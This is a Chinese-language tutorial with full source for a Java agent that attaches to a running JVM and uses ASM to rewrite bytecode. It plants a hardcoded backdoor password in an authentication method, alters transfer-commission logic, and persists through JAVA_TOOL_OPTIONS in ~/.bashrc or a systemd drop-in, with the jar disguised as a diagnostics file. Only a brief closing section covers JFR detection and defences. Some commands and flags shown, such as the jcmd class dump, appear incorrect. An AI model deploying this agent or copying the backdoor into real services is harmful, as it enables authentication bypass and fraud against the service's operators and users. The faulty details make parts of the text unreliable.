ASM 劫持:绕过、篡改与无痕驻留 技术教学文档
一、攻击链全景
1.1 完整攻击链路
攻击链始于后渗透阶段(攻击者已获取目标JVM进程操作权限),核心流程为:
- 攻击者通过Attach API向目标JVM注入恶意Agent;
- Agent利用Java Instrumentation机制重转换(retransform)目标类字节码;
- 篡改认证逻辑实现绕过,修改转账逻辑实现佣金篡改;
- 通过
JAVA_TOOL_OPTIONS环境变量实现Agent无痕持久化; - 最终通过JFR(Java Flight Recorder)事件暴露攻击痕迹。
1.2 Agent注入时序图
从连接到生效的完整过程:
- 攻击者调用
VirtualMachine.attach(pid)发起Attach请求; - 目标JVM接收
SIGQUIT信号,启动Attach Listener线程; - Attach Listener创建Unix域套接字
/tmp/.java_pid<pid>; - 攻击者通过套接字发送
load instrument agent.jar命令; - 目标JVM加载Agent JAR,执行
agentmain方法; agentmain注册ClassFileTransformer,触发目标类重转换;- 字节码篡改完成,攻击逻辑生效。
1.3 字节码改写前后对比
以AuthService.authenticate方法为例:
- 改写前:验证密码哈希是否匹配,不匹配返回
LOGIN_FAILED; - 改写后:插入后门密码判断逻辑——若密码等于后门值(如
backdoor123),直接返回LOGIN_SUCCESS,绕过原始验证。
二、技术原理
2.1 Java Instrumentation机制内部工作流
JVM自JDK 5引入java.lang.instrument包,支持对已加载类进行重定义(redefine)或重转换(retransform),核心区别如下:
| 操作方法 | 方法 | 约束条件 | 适用场景 |
|---|---|---|---|
| Redefine | redefineClasses() |
不能增删方法/字段,不改变继承关系 | 不可逆的方法体逻辑修改 |
| Retransform | retransformClasses() |
同上约束,但可回滚到原始版本 | 可逆的运行时修改 |
核心限制:不能改变类的结构签名(如添加新方法、修改方法参数类型),但方法体内部字节码可完全替换——攻击者仅需篡改方法体即可实现逻辑绕过。
2.2 Attach API底层机制
Attach API通过Unix域套接字实现跨进程通信,底层步骤如下:
- 攻击者调用
VirtualMachine.attach(pid),向目标JVM发送SIGQUIT信号(Linux环境); - 目标JVM的
Signal Dispatcher线程检查/tmp/.attach_pid<pid>文件是否存在(由攻击者创建); - 若存在,JVM启动
Attach Listener线程,创建套接字/tmp/.java_pid<pid>; - 攻击者通过套接字发送
load instrument agent.jar命令; - 目标JVM加载Agent JAR,调用
agentmain方法(Agent入口)。
三、实验环境搭建
3.1 系统环境
- 操作系统:Kali Linux 2026.1;
- JDK:JDK 21;
- 构建工具:Apache Maven 3.9.12。
3.2 目标应用完整代码
3.2.1 项目结构
target-app/
├── pom.xml # Maven配置文件
└── src/main/java/com/victim/
├── Application.java # Spring Boot启动类
├── AuthService.java # 认证服务类(含authenticate方法)
├── TransferService.java # 转账服务类(含transfer方法)
└── AuthController.java # 认证接口控制器
3.2.2 pom.xml(关键依赖)
目标应用为Spring Boot项目,核心依赖:
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
</dependencies>
3.2.3 Application.java(启动类)
@SpringBootApplication
public class Application {
public static void main(String[] args) {
SpringApplication.run(Application.class, args);
}
}
3.2.4 AuthService.java(核心认证逻辑)
public class AuthService {
// 原始认证逻辑:验证密码哈希
public boolean authenticate(String username, String password) {
String hashedPassword = DigestUtils.sha256Hex(password);
return "admin".equals(username) && "a1b2c3".equals(hashedPassword);
}
}
3.2.5 TransferService.java(转账逻辑)
public class TransferService {
// 原始转账逻辑:仅成功交易触发佣金
public void transfer(String from, String to, double amount) {
if (amount > 0) {
// 模拟转账成功
System.out.println("Transfer success");
calculateCommission(amount); // 计算佣金
} else {
System.out.println("Transfer failed");
}
}
private void calculateCommission(double amount) {
System.out.println("[COMMISSION] " + amount * 0.01);
}
}
3.2.6 AuthController.java(接口层)
@RestController
@RequestMapping("/auth")
public class AuthController {
@Autowired
private AuthService authService;
@PostMapping("/login")
public String login(@RequestParam String username, @RequestParam String password) {
return authService.authenticate(username, password) ? "LOGIN_SUCCESS" : "LOGIN_FAILED";
}
}
3.3 编译运行与测试
3.3.1 编译目标应用
mvn clean package -DskipTests
3.3.2 启动目标应用
java -jar target-app.jar
3.3.3 记录PID
通过jps命令获取目标JVM进程ID:
jps -l | grep target-app
# 输出示例:12345 target-app.jar(PID为12345)
3.3.4 正常行为测试
- 正确密码:
curl -X POST "http://localhost:8080/auth/login?username=admin&password=a1b2c3"→ 返回LOGIN_SUCCESS; - 错误密码:
curl -X POST "http://localhost:8080/auth/login?username=admin&password=wrong"→ 返回LOGIN_FAILED; - 后门密码:
curl -X POST "http://localhost:8080/auth/login?username=admin&password=backdoor123"→ 注入前应返回LOGIN_FAILED(用于对比注入后效果); - 正常转账:
curl "http://localhost:8080/transfer?from=A&to=B&amount=100"→ 输出Transfer success和[COMMISSION] 1.0。
3.4 使用javap分析目标字节码
编写ASM改写代码前,需通过javap反编译目标方法,获取方法描述符、局部变量表布局和操作数栈深度:
3.4.1 提取目标class文件
从Spring Boot fat JAR中提取AuthService.class:
jar tf target-app.jar | grep AuthService.class
# 输出:BOOT-INF/classes/com/victim/AuthService.class
jar xf target-app.jar BOOT-INF/classes/com/victim/AuthService.class
3.4.2 反编译字节码
javap -c -v BOOT-INF/classes/com/victim/AuthService.class
3.4.3 关键输出解析
- 方法描述符:
(Ljava/lang/String;Ljava/lang/String;)Z(Ljava/lang/String;Ljava/lang/String;):参数类型(两个String);Z:返回值类型(boolean)。
- 局部变量表:
- slot 0:
this(当前对象); - slot 1:
username(第一个参数); - slot 2:
password(第二个参数); - slot 3:
digest(临时变量,存储密码哈希结果)。
- slot 0:
ASM定位方法的关键:必须精确匹配方法名 + 方法描述符,否则无法找到目标方法。
四、恶意Agent工程
4.1 项目结构与Maven配置
4.1.1 项目结构
malicious-agent/
├── pom.xml # Maven配置(含ASM依赖)
└── src/main/java/com/agent/
├── AgentMain.java # Agent入口类(agentmain方法)
├── HijackTransformer.java # ClassFileTransformer实现
├── AuthBypassVisitor.java # AuthService字节码访问器
├── TransferHijackVisitor.java # TransferService字节码访问器
├── Injector.java # Attach注入器
└── PersistenceManager.java # 持久化管理类
4.1.2 pom.xml(关键配置)
需包含ASM依赖,并将Agent打包为fat jar(内嵌所有依赖):
<project>
<modelVersion>4.0.0</modelVersion>
<groupId>com.agent</groupId>
<artifactId>malicious-agent</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<!-- ASM核心依赖 -->
<dependency>
<groupId>org.ow2.asm</groupId>
<artifactId>asm</artifactId>
<version>9.6</version>
</dependency>
<dependency>
<groupId>org.ow2.asm</groupId>
<artifactId>asm-commons</artifactId>
<version>9.6</version>
</dependency>
<!-- Attach API依赖(JDK自带,无需打包) -->
<dependency>
<groupId>com.sun</groupId>
<artifactId>tools</artifactId>
<version>21</version>
<scope>provided</scope>
</dependency>
</dependencies>
<build>
<plugins>
<!-- Shade插件:打包fat jar -->
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-shade-plugin</artifactId>
<version>3.5.0</version>
<executions>
<execution>
<phase>package</phase>
<goals><goal>shade</goal></goals>
<configuration>
<transformers>
<!-- 合并MANIFEST.MF -->
<transformer implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer">
<manifestEntries>
<Agent-Class>com.agent.AgentMain</Agent-Class>
<Premain-Class>com.agent.AgentMain</Premain-Class>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Main-Class>com.agent.Injector</Main-Class>
</manifestEntries>
</transformer>
</transformers>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>
4.1.3 MANIFEST.MF关键属性解析
| 属性 | 作用 |
|---|---|
Agent-Class |
Attach API动态注入时,JVM查找agentmain方法的入口类 |
Premain-Class |
-javaagent启动时,JVM查找premain方法的入口类(持久化场景使用) |
Can-Retransform-Classes: true |
允许对已加载类进行重转换(否则addTransformer(tf, true)抛异常) |
Main-Class |
java -jar直接执行时的入口(此处为Injector,用于执行Attach注入) |
4.2 AgentMain.java(Agent入口)
agentmain方法是Attach API注入后的执行入口,核心逻辑:
- 获取
Instrumentation实例; - 注册
ClassFileTransformer(字节码转换器); - 触发目标类的重转换。
public class AgentMain {
public static void agentmain(String args, Instrumentation inst) throws Exception {
// 避免重复注入
if (Boolean.getBoolean("jvm.rt.diag.loaded")) {
return;
}
System.setProperty("jvm.rt.diag.loaded", "true"); // 标记Agent已加载
// 注册Transformer(第二个参数true表示允许重转换)
inst.addTransformer(new HijackTransformer(), true);
// 触发目标类重转换(需指定完整类名)
inst.retransformClasses(
Class.forName("com.victim.service.AuthService"),
Class.forName("com.victim.service.TransferService")
);
}
}
4.3 HijackTransformer.java(字节码转换器)
ClassFileTransformer负责拦截类加载/重转换事件,调用ASM的ClassVisitor修改字节码:
public class HijackTransformer implements ClassFileTransformer {
@Override
public byte[] transform(
Module module, ClassLoader loader, String className,
Class<?> classBeingRedefined, ProtectionDomain domain, byte[] classfileBuffer
) {
// 仅处理目标类
if (!"com/victim/service/AuthService".equals(className) &&
!"com/victim/service/TransferService".equals(className)) {
return null; // 返回null表示不修改字节码
}
try {
ClassReader cr = new ClassReader(classfileBuffer);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_FRAMES); // 自动计算StackMapTable
ClassVisitor cv;
if ("com/victim/service/AuthService".equals(className)) {
cv = new AuthBypassVisitor(cw); // AuthService的字节码访问器
} else {
cv = new TransferHijackVisitor(cw); // TransferService的字节码访问器
}
// SKIP_FRAMES:跳过原始class中的帧信息(避免与COMPUTE_FRAMES冲突)
cr.accept(cv, ClassReader.SKIP_FRAMES);
return cw.toByteArray(); // 返回修改后的字节码
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}
4.3.1 COMPUTE_FRAMES + SKIP_FRAMES的意义
ClassWriter.COMPUTE_FRAMES:ASM自动计算方法的StackMapTable(帧信息),无需手动调用visitFrame();ClassReader.SKIP_FRAMES:跳过原始class中的帧信息(否则与自动计算的帧冲突,导致VerifyError);- 最佳实践:处理分支插入时,此组合可避免字节码验证错误。
4.4 AuthBypassVisitor.java(AuthService篡改逻辑)
通过ASM的MethodVisitor修改authenticate方法,插入后门密码判断:
public class AuthBypassVisitor extends ClassVisitor {
public AuthBypassVisitor(ClassVisitor cv) {
super(Opcodes.ASM9, cv);
}
@Override
public MethodVisitor visitMethod(
int access, String name, String desc, String signature, String[] exceptions
) {
MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
// 仅修改authenticate方法(匹配方法名+描述符)
if ("authenticate".equals(name) && "(Ljava/lang/String;Ljava/lang/String;)Z".equals(desc)) {
return new MethodVisitor(Opcodes.ASM9, mv) {
@Override
public void visitCode() {
// 插入后门逻辑:if (password.equals("backdoor123")) return true;
mv.visitVarInsn(Opcodes.ALOAD, 2); // 加载password(slot 2)
mv.visitLdcInsn("backdoor123"); // 加载后门密码常量
mv.visitMethodInsn(
Opcodes.INVOKEVIRTUAL,
"java/lang/String",
"equals",
"(Ljava/lang/Object;)Z",
false
);
Label endLabel = new Label();
mv.visitJumpInsn(Opcodes.IFEQ, endLabel); // 若不相等,跳转到endLabel
mv.visitInsn(Opcodes.ICONST_1); // 压入true(1)
mv.visitInsn(Opcodes.IRETURN); // 返回true
mv.visitLabel(endLabel); // endLabel:继续执行原始逻辑
super.visitCode();
}
};
}
return mv;
}
}
4.5 操作数栈状态(AuthBypassVisitor)
插入逻辑后的操作数栈变化:
ALOAD 2:栈顶为password(String对象);LDC "backdoor123":栈顶为password、"backdoor123";INVOKEVIRTUAL String.equals:栈顶为boolean结果(1或0);IFEQ endLabel:若为0(不相等),跳转到endLabel执行原始逻辑;若为1(相等),执行ICONST_1+IRETURN返回true。
4.6 TransferHijackVisitor.java(TransferService篡改逻辑)
修改transfer方法,让所有转账(无论成功与否)都触发佣金计算:
public class TransferHijackVisitor extends ClassVisitor {
public TransferHijackVisitor(ClassVisitor cv) {
super(Opcodes.ASM9, cv);
}
@Override
public MethodVisitor visitMethod(
int access, String name, String desc, String signature, String[] exceptions
) {
MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
// 修改transfer方法(描述符:(String;String;D)V)
if ("transfer".equals(name) && "(Ljava/lang/String;Ljava/lang/String;D)V".equals(desc)) {
return new MethodVisitor(Opcodes.ASM9, mv) {
@Override
public void visitInsn(int opcode) {
// 在方法末尾插入佣金计算(无论转账是否成功)
if (opcode == Opcodes.RETURN) {
mv.visitVarInsn(Opcodes.DLOAD, 3); // 加载amount(slot 3)
mv.visitMethodInsn(
Opcodes.INVOKESPECIAL,
"com/victim/service/TransferService",
"calculateCommission",
"(D)V",
false
);
}
super.visitInsn(opcode);
}
};
}
return mv;
}
}
4.7 操作数栈状态追踪(TransferHijackVisitor)
插入逻辑后的操作数栈变化:
- 原始
transfer方法执行到RETURN前,栈为空; - 插入
DLOAD 3:栈顶为amount(double类型,占2个slot); INVOKESPECIAL calculateCommission:调用佣金计算方法,栈空;- 执行
RETURN,方法结束。
4.8 Injector.java(Attach注入器)
通过Attach API向目标JVM注入Agent:
public class Injector {
public static void main(String[] args) throws Exception {
String pid = args.length > 0 ? args[0] : null;
String agentJarPath = "/path/to/malicious-agent.jar"; // Agent JAR路径
if (pid == null) {
// 方式2:通过关键字搜索目标JVM(如进程名包含"target-app")
List<VirtualMachineDescriptor> vms = VirtualMachine.list();
for (VirtualMachineDescriptor vmd : vms) {
if (vmd.displayName().contains("target-app")) {
pid = vmd.id();
break;
}
}
}
if (pid == null) {
throw new IllegalArgumentException("Target JVM not found");
}
// 附加到目标JVM并加载Agent
VirtualMachine vm = VirtualMachine.attach(pid);
vm.loadAgent(agentJarPath);
vm.detach();
System.out.println("Agent injected successfully");
}
}
4.9 PersistenceManager.java(无痕持久化)
通过JAVA_TOOL_OPTIONS环境变量实现Agent持久化(JVM启动时自动加载):
public class PersistenceManager {
public static void persist(String agentJarPath) throws Exception {
// 设置JAVA_TOOL_OPTIONS(Linux环境)
String command = String.format(
"echo 'export JAVA_TOOL_OPTIONS=\"-javaagent:%s\"' >> ~/.bashrc && source ~/.bashrc",
agentJarPath
);
Runtime.getRuntime().exec(command);
// 或通过systemd drop-in配置(不修改原始service文件)
// 创建/etc/systemd/system/target-app.service.d/override.conf
// 内容:[Service]
// Environment=JAVA_TOOL_OPTIONS=-javaagent:/path/to/agent.jar
}
}
五、编译、注入与验证
5.1 编译Agent项目
mvn clean package -DskipTests
5.2 验证Agent产物
- 大小检查:Agent JAR应≥180KB(包含ASM依赖,约150KB);若仅几KB,说明ASM未打包(会抛
ClassNotFoundException: org.objectweb.asm.*); - MANIFEST.MF检查:解压Agent JAR,查看
META-INF/MANIFEST.MF是否包含所有关键属性(如Agent-Class、Can-Retransform-Classes: true)。
5.3 执行注入
方式1:通过PID直接注入
java -jar malicious-agent.jar 12345 # 12345为目标JVM的PID
方式2:通过关键字自动搜索目标JVM
java -jar malicious-agent.jar # 自动搜索进程名包含"target-app"的JVM
5.4 攻击效果验证
验证1:认证绕过(后门密码)
curl -X POST "http://localhost:8080/auth/login?username=admin&password=backdoor123"
# 注入后应返回LOGIN_SUCCESS(即使密码未哈希匹配)
验证2:正常认证不受影响
- 正确密码:
curl -X POST "http://localhost:8080/auth/login?username=admin&password=a1b2c3"→ 仍返回LOGIN_SUCCESS; - 错误密码:
curl -X POST "http://localhost:8080/auth/login?username=admin&password=wrong"→ 仍返回LOGIN_FAILED。
验证3:转账佣金篡改
curl "http://localhost:8080/transfer?from=A&to=B&amount=100"
# 注入后应输出:
# Transfer success
# [COMMISSION] 1.0(原始逻辑)
# [COMMISSION] 1.0(篡改后插入的逻辑)→ 共两次佣金计算
验证4:失败交易不触发佣金(原始逻辑)
curl "http://localhost:8080/transfer?from=A&to=B&amount=-100"
# 注入前:仅输出Transfer failed,无佣金;
# 注入后:输出Transfer failed + [COMMISSION] -1.0(篡改后强制触发)
5.5 使用javap验证字节码改写
通过jcmd导出运行时类的字节码,再用javap反编译:
# 导出目标类的字节码(12345为PID)
jcmd 12345 Compiler.CodeHeap_Analytics dump /tmp/AuthService.class com.victim.service.AuthService
# 反编译验证
javap -c -v /tmp/AuthService.class
关键验证点:authenticate方法中是否包含backdoor123的常量池条目,以及IFEQ跳转指令。
六、无痕持久化(JAVA_TOOL_OPTIONS)
6.1 原理
JAVA_TOOL_OPTIONS是JVM规范定义的环境变量,所有Java进程启动时自动读取,并将变量值追加到JVM命令行参数中。例如:
export JAVA_TOOL_OPTIONS="-javaagent:/path/to/malicious-agent.jar"
启动目标应用时,JVM会自动添加-javaagent参数,加载Agent。
6.2 持久化步骤
6.2.1 伪装Agent路径
将Agent JAR放入系统目录(如/usr/lib/jvm/diagnostics/agent.jar),避免被识别为恶意文件。
6.2.2 systemd drop-in配置(推荐)
不修改原始service文件,通过drop-in配置添加环境变量:
- 创建目录:
mkdir -p /etc/systemd/system/target-app.service.d; - 创建
override.conf:[Service] Environment=JAVA_TOOL_OPTIONS=-javaagent:/usr/lib/jvm/diagnostics/agent.jar - 重载systemd配置:
systemctl daemon-reload; - 重启目标服务:
systemctl restart target-app。
6.3 验证持久化
目标服务重启后,查看JVM stderr输出:
Picked up JAVA_TOOL_OPTIONS: -javaagent:/usr/lib/jvm/diagnostics/agent.jar
说明Agent已自动加载,无需手动注入。
七、检测与防御
7.1 JFR事件监控(核心检测手段)
Java Flight Recorder(JFR)可记录JVM运行时的关键事件,包括类重转换事件。
7.1.1 启动JFR持续记录
需先授予JVM权限(否则无法记录):
java -XX:+UnlockCommercialFeatures -XX:+FlightRecorder -jar target-app.jar
或通过jcmd动态启动:
jcmd 12345 JFR.start name=security duration=1h
7.1.2 注入后导出JFR记录
jcmd 12345 JFR.dump name=security filename=/tmp/security.jfr
7.1.3 分析JFR记录(关键事件)
通过JFR分析工具(如JDK Mission Control)查看以下事件:
- Class Retransform Event:记录类重转换的时间、目标类、调用栈;
- Attach Event:记录Attach API调用的来源PID、命令;
- System Property Set Event:记录
jvm.rt.diag.loaded属性的设置(Agent标记)。
7.1.4 攻击调用链溯源
JFR记录的攻击调用链示例:
Attach Listener Thread (Thread-1)
at com.sun.tools.attach.VirtualMachine.attach(VirtualMachine.java:208)
at com.agent.Injector.main(Injector.java:25)
at com.agent.AgentMain.agentmain(AgentMain.java:18)
at java.lang.instrument.Instrumentation.retransformClasses0(Native Method)
at java.lang.instrument.Instrumentation.retransformClasses(Instrumentation.java:1034)
at com.agent.HijackTransformer.transform(HijackTransformer.java:35)
关键信息:
- 入口:
agentmain(证实通过Attach API动态注入); - 线程:
Attach Listener(JVM处理动态Attach的专用线程); - 恶意类:
com.agent.AgentMain(完全暴露攻击源)。
7.2 防御建议
- JFR前置启动:必须在攻击发生前启动JFR,否则无法捕获事件;
- 监控可疑属性:定期用
jcmd <pid> VM.system_properties检查是否存在jvm.rt.diag.loaded等异常属性; - 限制Attach权限:通过
com.sun.management.JMXConnectorServer限制Attach API的访问权限(如仅允许root用户); - 字节码完整性校验:使用
java.lang.instrument.ClassFileTransformer定期检查关键类的字节码哈希,对比原始值; - 最小化Attach使用:仅在排查故障时启用Attach机制,平时通过
jcmd的VM.attach权限控制(如/proc/<pid>/cgroup限制)。
八、小结
8.1 攻击链定位
本文技术属于后渗透阶段,前提是攻击者已获取目标JVM进程的操作权限(如服务器SSH权限、容器逃逸权限)。完整攻击链:
物理/容器访问 → 获取JVM进程权限 → Attach API注入Agent → Instrumentation重转换字节码 → 逻辑篡改 → 持久化 → 数据窃取。
8.2 安全与可观测性的平衡
彻底禁用Attach机制可防御此类攻击,但会失去jcmd、jstack、jmap、JFR等诊断工具,影响故障排查。更合理的实践:
- 不禁用Attach,但通过密钥认证+审计日志管理Attach权限;
- 结合JFR监控类重转换事件,及时发现异常;
- 对关键类(如认证、支付)实施字节码完整性校验。
8.3 核心结论
- ASM劫持的本质是利用Instrumentation机制修改方法体字节码,无需改变类结构即可实现逻辑绕过;
- 防御的核心是监控类重转换事件(JFR)和限制Attach API的滥用;
- 持久化的关键在于
JAVA_TOOL_OPTIONS环境变量,需重点监控系统级环境变量配置。